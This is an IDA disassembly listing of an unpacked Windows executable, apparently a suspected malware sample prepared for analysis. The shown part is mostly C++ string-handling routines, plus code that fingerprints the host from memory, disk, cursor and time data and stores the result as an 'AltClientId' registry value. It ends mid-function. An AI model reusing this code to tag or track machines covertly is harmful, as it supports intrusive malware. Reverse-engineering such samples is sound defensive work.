; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CB748567C0C763BCB6D4C2D4E13D6E80 ; --------------------------------------------------------------------------- ; File Name : u:\work\cb748567c0c763bcb6d4c2d4e13d6e80_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00037000 ( 225280.) ; Section size in file : 00037000 ( 225280.) ; Offset to raw data for section: 00001000 ; Flags E0000000: Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _vty segment para public 'CODE' use32 assume cs:_vty ;org 401000h assume es:nothing, ss:nothing, ds:_vty, fs:nothing, gs:nothing loc_401000: ; DATA XREF: .vty:0041FEA4o mov dword ptr [ecx], offset off_41C290 jmp sub_40D931 ; --------------------------------------------------------------------------- loc_40100B: ; DATA XREF: .vty:off_41C290o push esi mov esi, ecx mov dword ptr [esi], offset off_41C290 call sub_40D931 test byte ptr [esp+8], 1 jz short loc_401027 push esi call sub_40DD8A pop ecx loc_401027: ; CODE XREF: .vty:0040101Ej mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40102D proc near ; CODE XREF: sub_401315+79p ; sub_4013C4+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40DD8F mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_40102D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401049 proc near ; CODE XREF: sub_4014F5+50p ; sub_401D1F+A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D807 mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_401049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401065 proc near ; CODE XREF: sub_401156+4Cp var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h lea eax, [ebp+var_4] push eax push 20019h push 0 push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_41C008 ; RegOpenKeyExA test eax, eax jz short loc_40108E loc_40108A: ; CODE XREF: sub_401065+59j ; sub_401065+68j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40108E: ; CODE XREF: sub_401065+23j push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_48] push eax push 0 push 0 push offset aAltclientid ; "AltClientId" push [ebp+var_4] mov [ebp+var_8], 40h call dword_41C010 ; RegQueryValueExA push [ebp+var_4] mov edi, eax call dword_41C000 ; RegCloseKey test edi, edi pop edi jnz short loc_40108A lea eax, [ebp+var_48] push eax call sub_40D970 cmp eax, 10h pop ecx jnz short loc_40108A lea eax, [ebp+var_48] push eax mov ecx, offset dword_424E84 call sub_4013A7 mov al, 1 leave retn sub_401065 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010E1 proc near ; CODE XREF: sub_401156+17Bp var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax xor edi, edi push edi push 20006h push edi push edi push edi push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_41C00C ; RegCreateKeyExA test eax, eax jz short loc_401112 xor al, al jmp short loc_401153 ; --------------------------------------------------------------------------- loc_401112: ; CODE XREF: sub_4010E1+2Bj cmp dword_424E9C, 10h mov eax, dword_424E88 jnb short loc_401125 mov eax, offset dword_424E88 loc_401125: ; CODE XREF: sub_4010E1+3Dj mov ecx, dword_424E98 push esi inc ecx push ecx push eax push 1 push edi push offset aAltclientid ; "AltClientId" push [ebp+var_4] call dword_41C014 ; RegSetValueExA push [ebp+var_4] mov esi, eax call dword_41C000 ; RegCloseKey xor eax, eax cmp esi, edi setz al pop esi loc_401153: ; CODE XREF: sub_4010E1+2Fj pop edi leave retn sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401156 proc near ; CODE XREF: sub_405089+81p var_1D0 = dword ptr -1D0h var_6C = byte ptr -6Ch var_58 = byte ptr -58h var_48 = byte ptr -48h var_44 = byte ptr -44h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1D4h test byte ptr dword_424EA0, 1 push ebx push esi push edi mov edi, offset dword_424E84 jnz short loc_401195 or dword_424EA0, 1 push 0 mov ecx, edi mov dword_424E9C, 0Fh call sub_401564 push offset loc_41B67A call sub_40DBC0 pop ecx loc_401195: ; CODE XREF: sub_401156+18j cmp dword_424E98, 0 jnz loc_4012DB call sub_401065 test al, al jnz loc_4012DB lea ecx, [ebp+var_1D0] mov [ebp+var_1D0], offset off_41E018 call sub_40CBAC lea eax, [ebp+var_48] push eax call dword_41C054 ; GlobalMemoryStatus push 4 pop ebx push ebx lea eax, [ebp+var_44] push eax lea esi, [ebp+var_1D0] call sub_401704 push ebx lea eax, [ebp+var_3C] push eax call sub_401704 push ebx lea eax, [ebp+var_34] push eax call sub_401704 push ebx lea eax, [ebp+var_2C] push eax call sub_401704 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset aC ; "C:\\" call dword_41C05C ; GetDiskFreeSpaceExA push 8 lea eax, [ebp+var_20] push eax call sub_401704 push 8 lea eax, [ebp+var_28] push eax call sub_401704 push 8 lea eax, [ebp+var_18] push eax call sub_401704 lea eax, [ebp+var_C] push eax call dword_41C1B4 ; GetCursorPos push 8 lea eax, [ebp+var_C] push eax call sub_401704 lea eax, [ebp+var_58] push eax call dword_41C060 ; GetSystemTime push 10h lea eax, [ebp+var_58] push eax call sub_401704 call dword_41C058 ; GetTickCount mov [ebp+var_4], eax push ebx lea eax, [ebp+var_4] push eax call sub_401704 lea eax, [ebp+var_6C] push eax call sub_401762 mov eax, dword_424E98 push 10h pop ebx cmp eax, ebx jb short loc_401295 push 0FFFFFFFFh push ebx mov ecx, edi call sub_4014F5 jmp short loc_4012A0 ; --------------------------------------------------------------------------- loc_401295: ; CODE XREF: sub_401156+131j push 0 sub ebx, eax mov esi, edi call sub_40140F loc_4012A0: ; CODE XREF: sub_401156+13Dj xor edi, edi mov eax, offset dword_424E84 call sub_4012F5 mov edi, eax xor esi, esi loc_4012B0: ; CODE XREF: sub_401156+176j movzx eax, [ebp+esi+var_6C] push eax push offset a02x ; "%02x" push 2 push edi call sub_40D9FB add esp, 10h inc esi inc edi inc edi cmp esi, 8 jl short loc_4012B0 mov byte ptr [edi], 0 call sub_4010E1 mov edi, offset dword_424E84 loc_4012DB: ; CODE XREF: sub_401156+46j ; sub_401156+53j mov eax, edi pop edi pop esi pop ebx leave retn sub_401156 endp ; =============== S U B R O U T I N E ======================================= sub_4012E2 proc near ; CODE XREF: sub_401989+2Ep ; sub_401B38+16p ... push 0 mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_401564 mov eax, esi retn sub_4012E2 endp ; =============== S U B R O U T I N E ======================================= sub_4012F5 proc near ; CODE XREF: sub_401156+151p ; sub_4081BF+7Bp ... push esi mov esi, eax cmp edi, [esi+14h] jbe short loc_401302 call sub_40DCFC loc_401302: ; CODE XREF: sub_4012F5+6j cmp dword ptr [esi+18h], 10h jb short loc_40130D mov esi, [esi+4] jmp short loc_401310 ; --------------------------------------------------------------------------- loc_40130D: ; CODE XREF: sub_4012F5+11j add esi, 4 loc_401310: ; CODE XREF: sub_4012F5+16j lea eax, [esi+edi] pop esi retn sub_4012F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401315 proc near ; CODE XREF: sub_401483+2Bp ; sub_401C1E+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] cmp [edi+14h], eax mov ebx, ecx jnb short loc_40132D call sub_40D7C3 loc_40132D: ; CODE XREF: sub_401315+11j mov esi, [edi+14h] mov eax, [ebp+arg_4] sub esi, eax cmp [ebp+arg_8], esi jnb short loc_40133D mov esi, [ebp+arg_8] loc_40133D: ; CODE XREF: sub_401315+23j cmp ebx, edi mov ecx, ebx jnz short loc_40135B push 0FFFFFFFFh add esi, eax push esi call sub_4014F5 push [ebp+arg_4] mov ecx, ebx push 0 call sub_4014F5 jmp short loc_40139E ; --------------------------------------------------------------------------- loc_40135B: ; CODE XREF: sub_401315+2Cj push 0 push esi call sub_401580 test al, al jz short loc_40139E cmp dword ptr [edi+18h], 10h jb short loc_401372 mov edi, [edi+4] jmp short loc_401375 ; --------------------------------------------------------------------------- loc_401372: ; CODE XREF: sub_401315+56j add edi, 4 loc_401375: ; CODE XREF: sub_401315+5Bj mov ecx, [ebx+18h] cmp ecx, 10h jb short loc_401382 mov eax, [ebx+4] jmp short loc_401385 ; --------------------------------------------------------------------------- loc_401382: ; CODE XREF: sub_401315+66j lea eax, [ebx+4] loc_401385: ; CODE XREF: sub_401315+6Bj mov edx, [ebp+arg_4] push esi add edi, edx push edi push ecx push eax call sub_40102D add esp, 10h push esi mov ecx, ebx call sub_401564 loc_40139E: ; CODE XREF: sub_401315+44j ; sub_401315+50j pop edi pop esi mov eax, ebx pop ebx pop ebp retn 0Ch sub_401315 endp ; =============== S U B R O U T I N E ======================================= sub_4013A7 proc near ; CODE XREF: sub_401065+73p ; sub_401989+5Ap ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_40D970 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_401483 pop esi retn 4 sub_4013A7 endp ; =============== S U B R O U T I N E ======================================= sub_4013C4 proc near ; CODE XREF: sub_401580+3Ep ; sub_4015DE+B7p ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4013F9 cmp dword ptr [esi+18h], 10h jb short loc_4013F9 cmp [esp+4+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_4013F1 push [esp+8+arg_4] push edi push 10h push eax call sub_40102D add esp, 10h loc_4013F1: ; CODE XREF: sub_4013C4+1Bj push edi call sub_40DD8A pop ecx pop edi loc_4013F9: ; CODE XREF: sub_4013C4+8j ; sub_4013C4+Ej push [esp+4+arg_4] mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_401564 pop esi retn 8 sub_4013C4 endp ; =============== S U B R O U T I N E ======================================= sub_40140F proc near ; CODE XREF: sub_401156+145p ; sub_402BCF+C7p ... arg_0 = byte ptr 4 or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, ebx ja short loc_40141E call sub_40D784 loc_40141E: ; CODE XREF: sub_40140F+8j test ebx, ebx jbe short loc_40147E push edi mov edi, [esi+14h] push 0 add edi, ebx push edi mov ecx, esi call sub_401580 test al, al jz short loc_40147D cmp ebx, 1 mov ecx, [esi+14h] jnz short loc_401455 cmp dword ptr [esi+18h], 10h jb short loc_401449 mov eax, [esi+4] jmp short loc_40144C ; --------------------------------------------------------------------------- loc_401449: ; CODE XREF: sub_40140F+33j lea eax, [esi+4] loc_40144C: ; CODE XREF: sub_40140F+38j mov dl, [esp+4+arg_0] mov [eax+ecx], dl jmp short loc_401475 ; --------------------------------------------------------------------------- loc_401455: ; CODE XREF: sub_40140F+2Dj cmp dword ptr [esi+18h], 10h jb short loc_401460 mov eax, [esi+4] jmp short loc_401463 ; --------------------------------------------------------------------------- loc_401460: ; CODE XREF: sub_40140F+4Aj lea eax, [esi+4] loc_401463: ; CODE XREF: sub_40140F+4Fj movsx edx, [esp+4+arg_0] push ebx push edx add eax, ecx push eax call sub_40DD10 add esp, 0Ch loc_401475: ; CODE XREF: sub_40140F+44j push edi mov ecx, esi call sub_401564 loc_40147D: ; CODE XREF: sub_40140F+25j pop edi loc_40147E: ; CODE XREF: sub_40140F+11j mov eax, esi retn 4 sub_40140F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401483 proc near ; CODE XREF: sub_4013A7+14p ; sub_40BDCD+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] push edi mov esi, ecx call sub_4016D0 test al, al jz short loc_4014B5 cmp dword ptr [esi+18h], 10h jb short loc_4014A2 mov eax, [esi+4] jmp short loc_4014A5 ; --------------------------------------------------------------------------- loc_4014A2: ; CODE XREF: sub_401483+18j lea eax, [esi+4] loc_4014A5: ; CODE XREF: sub_401483+1Dj push [ebp+arg_4] sub edi, eax push edi push esi mov ecx, esi call sub_401315 jmp short loc_4014EF ; --------------------------------------------------------------------------- loc_4014B5: ; CODE XREF: sub_401483+12j push 0 push [ebp+arg_4] mov ecx, esi call sub_401580 test al, al jz short loc_4014ED mov ecx, [esi+18h] cmp ecx, 10h jb short loc_4014D2 mov eax, [esi+4] jmp short loc_4014D5 ; --------------------------------------------------------------------------- loc_4014D2: ; CODE XREF: sub_401483+48j lea eax, [esi+4] loc_4014D5: ; CODE XREF: sub_401483+4Dj push [ebp+arg_4] push edi push ecx push eax call sub_40102D add esp, 10h push [ebp+arg_4] mov ecx, esi call sub_401564 loc_4014ED: ; CODE XREF: sub_401483+40j mov eax, esi loc_4014EF: ; CODE XREF: sub_401483+30j pop edi pop esi pop ebp retn 8 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014F5 proc near ; CODE XREF: sub_401156+138p ; sub_401315+33p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, ecx cmp [esi+14h], edi jnb short loc_401509 call sub_40D7C3 loc_401509: ; CODE XREF: sub_4014F5+Dj mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_4] jnb short loc_401516 mov [ebp+arg_4], eax loc_401516: ; CODE XREF: sub_4014F5+1Cj cmp [ebp+arg_4], 0 jbe short loc_40155C mov ecx, [esi+18h] cmp ecx, 10h push ebx lea edx, [esi+4] jb short loc_40152C mov ebx, [edx] jmp short loc_40152E ; --------------------------------------------------------------------------- loc_40152C: ; CODE XREF: sub_4014F5+31j mov ebx, edx loc_40152E: ; CODE XREF: sub_4014F5+35j cmp ecx, 10h jb short loc_401535 mov edx, [edx] loc_401535: ; CODE XREF: sub_4014F5+3Cj sub eax, [ebp+arg_4] add ebx, edi add ebx, [ebp+arg_4] push eax push ebx sub ecx, edi push ecx add edx, edi push edx call sub_401049 mov eax, [esi+14h] sub eax, [ebp+arg_4] add esp, 10h push eax mov ecx, esi call sub_401564 pop ebx loc_40155C: ; CODE XREF: sub_4014F5+25j pop edi mov eax, esi pop esi pop ebp retn 8 sub_4014F5 endp ; =============== S U B R O U T I N E ======================================= sub_401564 proc near ; CODE XREF: sub_401156+2Fp ; sub_4012E2+Bp ... arg_0 = dword ptr 4 cmp dword ptr [ecx+18h], 10h mov eax, [esp+arg_0] mov [ecx+14h], eax jb short loc_401576 mov ecx, [ecx+4] jmp short loc_401579 ; --------------------------------------------------------------------------- loc_401576: ; CODE XREF: sub_401564+Bj add ecx, 4 loc_401579: ; CODE XREF: sub_401564+10j mov byte ptr [ecx+eax], 0 retn 4 sub_401564 endp ; =============== S U B R O U T I N E ======================================= sub_401580 proc near ; CODE XREF: sub_401315+49p ; sub_40140F+1Ep ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] cmp edi, 0FFFFFFFEh mov esi, ecx jbe short loc_401592 call sub_40D784 loc_401592: ; CODE XREF: sub_401580+Bj cmp [esi+18h], edi jnb short loc_4015A4 push dword ptr [esi+14h] mov ecx, esi push edi call sub_4015DE jmp short loc_4015D1 ; --------------------------------------------------------------------------- loc_4015A4: ; CODE XREF: sub_401580+15j cmp [esp+8+arg_4], 0 jz short loc_4015C5 cmp edi, 10h jnb short loc_4015C5 mov eax, [esi+14h] cmp edi, eax jnb short loc_4015B9 mov eax, edi loc_4015B9: ; CODE XREF: sub_401580+35j push eax push 1 mov ecx, esi call sub_4013C4 jmp short loc_4015D1 ; --------------------------------------------------------------------------- loc_4015C5: ; CODE XREF: sub_401580+29j ; sub_401580+2Ej test edi, edi jnz short loc_4015D1 push edi mov ecx, esi call sub_401564 loc_4015D1: ; CODE XREF: sub_401580+22j ; sub_401580+43j ... xor eax, eax cmp eax, edi sbb eax, eax pop edi neg eax pop esi retn 8 sub_401580 endp ; =============== S U B R O U T I N E ======================================= sub_4015DE proc near ; CODE XREF: sub_401580+1Dp mov eax, offset sub_41AEA1 call sub_41AE44 sub esp, 0Ch push ebx push esi mov esi, [ebp+8] push edi or esi, 0Fh cmp esi, 0FFFFFFFEh mov edi, ecx mov [ebp-10h], esp mov [ebp-18h], edi jbe short loc_401606 mov esi, [ebp+8] jmp short loc_40162B ; --------------------------------------------------------------------------- loc_401606: ; CODE XREF: sub_4015DE+21j xor edx, edx push 3 mov eax, esi pop ebx div ebx mov ecx, [edi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_40162B push 0FFFFFFFEh pop eax sub eax, edx cmp ecx, eax ja short loc_40162B lea esi, [edx+ecx] loc_40162B: ; CODE XREF: sub_4015DE+26j ; sub_4015DE+3Fj ... and dword ptr [ebp-4], 0 lea eax, [esi+1] push 0 push eax call sub_401806 pop ecx pop ecx mov ebx, eax jmp short loc_40166A ; --------------------------------------------------------------------------- loc_401640: ; DATA XREF: .vty:0041FFB4o mov eax, [ebp+8] mov [ebp-10h], esp mov [ebp+8], eax inc eax push 0 push eax mov byte ptr [ebp-4], 2 call sub_401806 pop ecx mov [ebp-14h], eax pop ecx mov eax, offset loc_401661 retn ; --------------------------------------------------------------------------- loc_401661: ; DATA XREF: sub_4015DE+7Do mov edi, [ebp-18h] mov esi, [ebp+8] mov ebx, [ebp-14h] loc_40166A: ; CODE XREF: sub_4015DE+60j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40168F cmp dword ptr [edi+18h], 10h jb short loc_40167B mov eax, [edi+4] jmp short loc_40167E ; --------------------------------------------------------------------------- loc_40167B: ; CODE XREF: sub_4015DE+96j lea eax, [edi+4] loc_40167E: ; CODE XREF: sub_4015DE+9Bj push dword ptr [ebp+0Ch] push eax lea eax, [esi+1] push eax push ebx call sub_40102D add esp, 10h loc_40168F: ; CODE XREF: sub_4015DE+90j push 0 push 1 mov ecx, edi call sub_4013C4 push dword ptr [ebp+0Ch] mov ecx, edi mov [edi+4], ebx mov [edi+18h], esi call sub_401564 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_4015DE endp ; =============== S U B R O U T I N E ======================================= sub_4016BB proc near ; DATA XREF: .vty:0041FFA4o mov ecx, [ebp-18h] xor esi, esi push esi push 1 call sub_4013C4 push esi push esi call sub_4107BC int 3 ; Trap to Debugger sub_4016BB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4016D0 proc near ; CODE XREF: sub_401483+Bp ; sub_401D1F+17p ... arg_0 = dword ptr 4 push esi mov esi, [ecx+18h] cmp esi, 10h lea eax, [ecx+4] jb short loc_4016E0 mov edx, [eax] jmp short loc_4016E2 ; --------------------------------------------------------------------------- loc_4016E0: ; CODE XREF: sub_4016D0+Aj mov edx, eax loc_4016E2: ; CODE XREF: sub_4016D0+Ej cmp [esp+4+arg_0], edx jb short loc_4016FE cmp esi, 10h jb short loc_4016EF mov eax, [eax] loc_4016EF: ; CODE XREF: sub_4016D0+1Bj mov ecx, [ecx+14h] add ecx, eax cmp ecx, [esp+4+arg_0] jbe short loc_4016FE mov al, 1 jmp short loc_401700 ; --------------------------------------------------------------------------- loc_4016FE: ; CODE XREF: sub_4016D0+16j ; sub_4016D0+28j xor al, al loc_401700: ; CODE XREF: sub_4016D0+2Cj pop esi retn 4 sub_4016D0 endp ; =============== S U B R O U T I N E ======================================= sub_401704 proc near ; CODE XREF: sub_401156+86p ; sub_401156+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esi+4] mov edx, [esp+arg_4] push ebx mov ebx, eax shr ebx, 3 lea ecx, [eax+edx*8] and ebx, 3Fh cmp ecx, eax push edi jnb short loc_40171F inc dword ptr [esi+8] loc_40171F: ; CODE XREF: sub_401704+16j mov edi, [esp+8+arg_0] mov eax, edx shr eax, 1Dh add [esi+8], eax test edx, edx mov [esi+4], ecx jz short loc_40175D loc_401732: ; CODE XREF: sub_401704+57j mov eax, ebx shr eax, 2 lea eax, [esi+eax*4+20h] shl dword ptr [eax], 8 movzx edx, byte ptr [edi] mov ecx, [eax] or edx, ecx inc edi inc ebx test bl, 3Fh mov [eax], edx jnz short loc_401757 mov eax, [esi] mov ecx, esi xor ebx, ebx call dword ptr [eax+4] loc_401757: ; CODE XREF: sub_401704+48j dec [esp+8+arg_4] jnz short loc_401732 loc_40175D: ; CODE XREF: sub_401704+2Cj pop edi pop ebx retn 8 sub_401704 endp ; =============== S U B R O U T I N E ======================================= sub_401762 proc near ; CODE XREF: sub_401156+122p arg_0 = dword ptr 4 push ebx mov ebx, [esi+4] push edi shr ebx, 3 push 77h and ebx, 3Fh pop edi sub edi, ebx cmp edi, 40h jb short loc_40177A sub edi, 40h loc_40177A: ; CODE XREF: sub_401762+13j mov eax, ebx shr eax, 2 lea eax, [esi+eax*4+20h] mov ecx, [eax] shl ecx, 8 or ecx, 80h inc ebx test bl, 3Fh mov [eax], ecx jnz short loc_40179F mov eax, [esi] mov ecx, esi xor ebx, ebx call dword ptr [eax+4] loc_40179F: ; CODE XREF: sub_401762+32j test edi, edi jz short loc_4017C1 loc_4017A3: ; CODE XREF: sub_401762+5Dj mov eax, ebx shr eax, 2 lea eax, [esi+eax*4+20h] shl dword ptr [eax], 8 inc ebx test bl, 3Fh jnz short loc_4017BE mov eax, [esi] mov ecx, esi xor ebx, ebx call dword ptr [eax+4] loc_4017BE: ; CODE XREF: sub_401762+51j dec edi jnz short loc_4017A3 loc_4017C1: ; CODE XREF: sub_401762+3Fj mov eax, [esi+8] mov [esi+58h], eax mov eax, [esi+4] mov [esi+5Ch], eax mov eax, [esi] mov ecx, esi call dword ptr [eax+4] pop edi xor eax, eax pop ebx loc_4017D8: ; CODE XREF: sub_401762+99j mov edx, eax and edx, 3 push 3 pop ecx sub ecx, edx mov edx, eax shr edx, 2 mov edx, [esi+edx*4+0Ch] shl ecx, 3 shr edx, cl mov ecx, [esp+arg_0] mov [eax+ecx], dl inc eax cmp eax, 14h jl short loc_4017D8 mov eax, [esi] mov ecx, esi call dword ptr [eax] retn 4 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401806 proc near ; CODE XREF: sub_4015DE+57p ; sub_4015DE+73p var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] sub esp, 0Ch test ecx, ecx ja short loc_40181E xor ecx, ecx loc_401815: ; CODE XREF: sub_401806+22j push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_40181E: ; CODE XREF: sub_401806+Bj or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 1 jnb short loc_401815 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_C] push eax mov [ebp+var_C], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger push esi push [esp+10h+var_8] mov esi, ecx call sub_40D8D9 mov dword ptr [esi], offset off_41C290 mov eax, esi pop esi retn 4 sub_401806 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_401868: ; CODE XREF: .vty:loc_41AEBDj ; .vty:loc_41AF0Fj ... retn ; =============== S U B R O U T I N E ======================================= sub_401869 proc near ; CODE XREF: sub_401F07+41p ; sub_405EBC+34p ... mov eax, offset loc_41AEB3 call sub_41AE44 push ecx push esi mov esi, ecx mov [ebp-10h], esi call sub_40D862 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C29C call sub_401C1E mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_401869 endp ; =============== S U B R O U T I N E ======================================= sub_4018A5 proc near ; CODE XREF: .vty:004018D3p ; .vty:004018F2j ... push esi mov esi, ecx push 0 push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C29C call sub_4013C4 mov ecx, esi pop esi jmp sub_40D931 sub_4018A5 endp ; --------------------------------------------------------------------------- cmp dword ptr [ecx+24h], 10h jb short loc_4018CC mov eax, [ecx+10h] retn ; --------------------------------------------------------------------------- loc_4018CC: ; CODE XREF: .vty:004018C6j lea eax, [ecx+10h] retn ; --------------------------------------------------------------------------- loc_4018D0: ; DATA XREF: .vty:off_41C29Co push esi mov esi, ecx call sub_4018A5 test byte ptr [esp+8], 1 jz short loc_4018E6 push esi call sub_40DD8A pop ecx loc_4018E6: ; CODE XREF: .vty:004018DDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4018EC: ; DATA XREF: .vty:0041FEFCo mov dword ptr [ecx], offset off_41C2A8 jmp sub_4018A5 ; --------------------------------------------------------------------------- loc_4018F7: ; DATA XREF: .vty:off_41C2A8o push esi mov esi, ecx mov dword ptr [esi], offset off_41C2A8 call sub_4018A5 test byte ptr [esp+8], 1 jz short loc_401913 push esi call sub_40DD8A pop ecx loc_401913: ; CODE XREF: .vty:0040190Aj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_401919 proc near ; CODE XREF: sub_402420+1Ap ; .vty:004081AEp mov eax, offset loc_41AEB3 call sub_41AE44 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_40D8D9 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C29C call sub_401C1E mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_401919 endp ; =============== S U B R O U T I N E ======================================= sub_40195C proc near ; CODE XREF: sub_402979+104p ; sub_402BCF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch lea eax, [esp+arg_8] push eax push [esp+4+arg_4] push [esp+8+arg_0] call sub_401989 retn sub_40195C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40196F proc near ; CODE XREF: sub_403E41+CDp ; sub_403E41+114p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp lea eax, [ebp+arg_C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401A4D pop ebp retn sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401989 proc near ; CODE XREF: sub_40195C+Dp ; sub_401A4D+B8p var_830 = dword ptr -830h var_82C = byte ptr -82Ch var_810 = byte ptr -810h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, large fs:0 push 0FFFFFFFFh push offset loc_41B0E9 push eax mov large fs:0, esp sub esp, 828h push ebx push esi push edi mov edi, ecx test edi, edi jz short loc_401A29 lea esi, [esp+840h+var_82C] call sub_4012E2 push [ebp+arg_8] and [esp+844h+var_4], 0 push [ebp+arg_4] lea eax, [esp+848h+var_810] push 800h push eax call sub_40F6BE add esp, 10h lea eax, [esp+840h+var_810] push eax mov ecx, esi call sub_4013A7 mov esi, [ebp+arg_0] push esi mov [esp+844h+var_830], edi call dword_41C070 ; RtlEnterCriticalSection lea edi, [esi+18h] push dword ptr [edi+4] lea ecx, [esp+840h+var_82C] push edi call sub_401F07 mov eax, [esi+20h] cmp eax, [esi+24h] jbe short loc_401A15 mov ebx, edi call sub_401CA0 loc_401A15: ; CODE XREF: sub_401989+83j push esi call dword_41C06C ; RtlLeaveCriticalSection push 0 push 1 lea ecx, [esp+848h+var_82C] call sub_4013C4 loc_401A29: ; CODE XREF: sub_401989+28j mov ecx, [esp+840h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 0Ch sub_401989 endp ; --------------------------------------------------------------------------- loc_401A40: ; CODE XREF: .vty:0041B0E4j push 0 push 1 